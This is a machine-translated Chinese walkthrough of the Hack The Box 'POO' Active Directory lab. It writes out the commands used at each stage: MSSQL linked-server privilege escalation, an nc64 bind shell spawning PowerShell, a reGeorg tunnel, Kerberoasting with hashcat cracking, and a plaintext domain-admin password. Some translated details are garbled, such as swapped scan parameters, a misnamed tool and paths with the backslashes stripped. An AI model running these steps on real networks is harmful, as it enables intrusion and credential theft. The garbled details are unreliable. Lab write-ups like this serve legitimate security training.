在本文中,我们将分析的不仅仅是一台机器,而是现场的整个迷你实验室
正如描述中所述,POO 旨在测试小型 Active Directory 环境中攻击各个阶段的技能。 目标是危害可用主机、提升权限,并通过在此过程中收集 5 个标志最终危害整个域。
与实验室的连接是通过 VPN 进行的。 建议不要从工作计算机或有重要数据的主机进行连接,因为您与了解信息安全的人进入专用网络 🙂
组织信息
为了让您可以了解新的文章、软件和其他信息,我创建了
所有信息仅用于教育目的。 对于因使用学习本文档所获得的知识和方法而对任何人造成的任何损害,本文档的作者不承担任何责任。
简介
此残局由两台机器组成并包含 5 个旗帜。
还给出了可用主机的描述和地址。
我们开始吧!
侦察旗
这台机器的 IP 地址为 10.13.38.11,我将其添加到 /etc/hosts 中。
10.13.38.11 poo.htb
第一步是扫描开放端口。 由于用nmap扫描所有端口需要很长时间,所以我先用masscan来完成。 我们以 0pps 的速度扫描 tun500 接口的所有 TCP 和 UDP 端口。
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
现在,要获取有关端口上运行的服务的更多详细信息,让我们使用 -A 选项运行扫描。
nmap -A poo.htb -p80,1433
这样,我们就有了 IIS 和 MSSQL 服务。 在这种情况下,我们将找出域和计算机的真实 DNS 名称。 在 Web 服务器上,我们看到的是 IIS 主页。
让我们迭代一下目录。 我为此使用 gobuster。 在参数中,我们指定流的数量 128 (-t)、URL (-u)、字典 (-w) 和我们感兴趣的扩展 (-x)。
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
这样,我们就可以对 /admin 目录进行 HTTP 身份验证,并且可以使用 .DS_Store 桌面服务存储文件。 .DS_Store 是存储文件夹的用户设置的文件,例如文件列表、图标位置、选定的背景图像。 这样的文件最终可能会出现在 Web 开发人员的 Web 服务器目录中。 因此,我们获得有关目录内容的信息。 为此,您可以使用
python3 dsstore_crawler.py -i http://poo.htb/
我们得到了目录的内容。 这里最有趣的是/dev目录,从中我们可以看到两个分支中的sources和db文件。 但如果服务容易受到 IIS ShortName 的攻击,我们可以使用文件和目录名称的前 6 个字符。 您可以使用以下命令检查此漏洞
我们找到一个以“poo_co”开头的文本文件。 不知道下一步该做什么,我只是从目录词典中选择了所有以“co”开头的单词。
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
并使用 wfuzz 进行迭代。
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
并找到正确的词! 我们查看这个文件,保存凭据(通过 DBNAME 参数判断,它们来自 MSSQL)。
我们交出了旗帜,我们前进了20%。
呵呵旗帜
我们连接到 MSSQL,我使用 DBeaver。
我们在这个数据库中没有发现任何有趣的东西,让我们创建一个 SQL 编辑器并检查用户是什么。
SELECT name FROM master..syslogins;
我们有两个用户。 让我们检查一下我们的特权。
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
因此,没有任何特权。 让我们看看链接服务器,我详细介绍了这项技术
SELECT * FROM master..sysservers;
所以我们找到另一个SQL Server。 让我们使用 openquery() 检查该服务器上命令的执行情况。
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
我们甚至可以构建一个查询树。
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
事实是,当我们向链接服务器发出请求时,该请求是在另一个用户的上下文中执行的! 让我们看看我们在链接服务器上运行的用户上下文。
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
现在让我们看看从链接服务器到我们的请求是在什么上下文中执行的!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
因此,它是一个必须拥有所有权限的 DBO 上下文。 让我们检查一下来自链接服务器的请求时的权限。
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
如您所见,我们拥有所有特权! 让我们像这样创建我们的管理员。 但是他们不让他们通过openquery,让我们通过EXECUTE AT来完成。
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
现在我们连接新用户的凭据,观察新的标志数据库。
我们交出这面旗帜,走得更远。
回溯标志
让我们使用 MSSQL 获取 shell,我使用 impacket 包中的 mssqlclient。
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
我们需要获取密码,而我们首先遇到的就是网站。 因此,我们需要一个 Web 服务器配置(不可能抛出一个方便的 shell,显然防火墙正在工作)。
但访问被拒绝。 虽然我们可以从MSSQL读取该文件,但我们只需要知道配置了什么编程语言即可。 在MSSQL目录中我们发现有Python。
那么读取web.config文件就没有问题了。
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
找到凭据后,转到 /admin 并拿起标志。
立足点旗帜
事实上,使用防火墙确实有一些不便,但是查看网络设置,我们发现也使用了IPv6协议!
将此地址添加到 /etc/hosts 中。
dead:babe::1001 poo6.htb
让我们再次扫描主机,但这次是通过 IPv6。
WinRM 服务可通过 IPv6 获得。 让我们连接找到的凭据。
桌面上有一面旗帜,把它交出来。
P00ned 标志
对主机进行侦察后
setspn.exe -T intranet.poo -Q */*
让我们通过 MSSQL 执行该命令。
这样我们就得到了用户p00_hr和p00_adm的SPN,这意味着他们容易受到Kerberoasting等攻击。 简而言之,我们可以获得他们密码的哈希值。
首先,您需要代表 MSSQL 用户获得一个稳定的 shell。 但由于我们的访问受到限制,我们只能通过端口 80 和 1433 与主机建立连接。 但可以通过端口 80 进行隧道流量! 为此我们使用
但是当我们尝试访问它时,我们得到了404错误,这意味着*.aspx文件没有被执行。 要使具有这些扩展名的文件运行,请按如下方式安装 ASP.NET 4.5。
dism /online /enable-feature /all /featurename:IIS-ASPNET45
现在,当访问tunnel.aspx时,我们得到的答案是一切都准备好了。
让我们启动应用程序的客户端部分,它将中继流量。 我们会将所有流量从端口 5432 转发到服务器。
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
我们使用代理链通过我们的代理发送任何应用程序的流量。 让我们将此代理添加到 /etc/proxychains.conf 配置文件中。
现在我们将程序上传到服务器
现在,通过 MSSQL,我们启动监听器。
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
我们通过代理连接。
proxychains rlwrap nc poo.htb 4321
让我们获取哈希值。
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
接下来,您需要迭代这些哈希值。 由于rockyou没有密码数据字典,所以我使用了Seclists中提供的所有密码字典。 对于枚举,我们使用 hashcat。
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
我们找到了两个密码,第一个在 dutch_passwordlist.txt 字典中,第二个在 Keyboard-Combinations.txt 中。
所以我们有三个用户,我们转到域控制器。 我们先查一下他的地址。
太好了,我们已经了解了域控制器的 IP 地址。 让我们找出该域的所有用户,以及其中哪些是管理员。 下载PowerView.ps1脚本获取信息。 然后我们将使用evil-winrm进行连接,并在-s参数中指定脚本的目录。 然后加载 PowerView 脚本。
现在我们可以访问它的所有功能。 p00_adm 用户看起来像特权用户,因此我们将在其上下文中工作。 让我们为此用户创建一个 PSCredential 对象。
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
现在,我们指定 Creds 的所有 Powershell 命令都将代表 p00_adm 执行。 让我们显示用户列表和 AdminCount 属性。
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
因此,我们的用户确实很荣幸。 我们来看看他属于哪些群体。
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
我们最终确认该用户是域管理员。 这使其有权远程登录到域控制器。 让我们尝试使用我们的隧道通过 WinRM 登录。 我对使用villain-winrm时reGeorg发出的错误感到困惑。
然后我们使用另一种更简单的,
我们尝试连接,并且我们在系统中。
但没有旗帜。 然后查看用户并检查桌面。
在 mr3ks,我们找到了旗帜,实验室已 100% 完成。
就这样。 作为反馈,请评论您是否从本文中学到了新东西以及它是否对您有用。
您可以加入我们:
来源: habr.com